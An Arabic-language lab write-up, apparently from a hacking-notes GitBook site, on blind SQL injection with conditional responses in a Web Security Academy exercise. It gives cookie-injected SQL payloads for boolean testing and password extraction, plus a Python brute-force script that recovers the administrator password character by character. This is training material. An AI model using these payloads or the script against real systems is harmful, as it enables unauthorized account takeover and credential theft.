> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# حقن SQL أعمى مع استجابات شرطية

### حقن SQL الأعمى مع استجابات مشروطة

**السياق / الثغرة:** قيمة ملف تعريف ارتباط التتبع (`TrackingId`) يتم حقنها في استعلام SQL على جانب الخادم. لا يُرجع الاستعلام أي نتيجة أو أخطاء مباشرةً، لكن الصفحة تعرض **"مرحبًا بعودتك!"** إذا أعاد الاستعلام سطرًا واحدًا على الأقل. وهذا يتيح **حقن SQL أعمى قائم على الشرط** (قائم على القيم المنطقية): نختبر ادعاءات الصواب/الخطأ ونلاحظ وجود/غياب الرسالة لاستخراج البيانات.

**هدف المختبر:** استخراج كلمة المرور من `administrator` المستخدم وتسجيل الدخول كمسؤول.

#### التقنية (المراحل الرئيسية والحمولات)

1. **اختبارات الاستقرار الأساسية / الأعمدة**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (يمكنه اكتشاف سلوك الخطأ إذا كان ذلك مفيدًا)

<figure><img src="/files/a7c5b06abbaba95cecdab7efdff7343704bc1786" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/55c43199eabba7ef6ab1489781456ffa76ea5bae" alt=""><figcaption></figcaption></figure>

2. **التحقق من شرط صواب/خطأ (التحكم في سلسلة الفشل)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* الأول يجب أن يُفعَّل `مرحبًا بعودتك!`، والثاني لا يجب أن يحدث.

3. **التحقق من وجود `administrator` المستخدم**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* إذا `مرحبًا بعودتك!` ظهر، فهذا يعني أن الاستعلام الفرعي أعاد صفًا.

4. **استخراج حرفًا بحرف (سلاسل فرعية)**

* \*\*اسم المستخدم (مثال) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*كلمة المرور (مثال) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

كرر المواضع/القيم لإعادة بناء السلسلة. 5. \*\*اعثر على الطول (مثال: اختبار الطول = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

قم بتكييف ذلك وفقًا لنظام إدارة قواعد البيانات (`LENGTH` / `LEN` / `LENGTH()`).
````

### سكريبت الأتمتة (بايثون)

" يقوم السكربت المقدم بأتمتة القوة الغاشمة حرفًا بحرف عبر تعديل `TrackingId` ملف تعريف الارتباط.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nExiting.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Brute Force")
    p1.status("Starting brute force attack")
    time.sleep(2)

    p2 = log.progress("Password")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "مرحبًا بعودتك!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Request failed: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="/files/68f571cc7d96450fb4e280b27f04c645353d926e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
